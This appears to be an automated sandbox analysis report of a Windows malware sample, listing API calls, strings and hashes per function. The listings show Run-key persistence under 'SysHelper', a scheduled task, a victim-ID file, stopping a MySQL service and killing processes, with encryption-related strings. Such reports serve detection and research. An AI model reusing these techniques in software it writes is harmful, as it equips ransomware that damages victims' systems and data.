Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(005D4B08), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F
SysHelper, xrefs: 004123D6

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
',', xrefs: 0046560B
fopen(', xrefs: 00465611

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C
SHGetFolderPathW, xrefs: 0040F34D

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

Proc-Type: , xrefs: 0046337C
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
ENCRYPTED, xrefs: 004633BC
DEK-Info: , xrefs: 00463422

Memory Dump Source

Source File: 00000002.00000002.2111184251.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2111184251.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2111184251.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

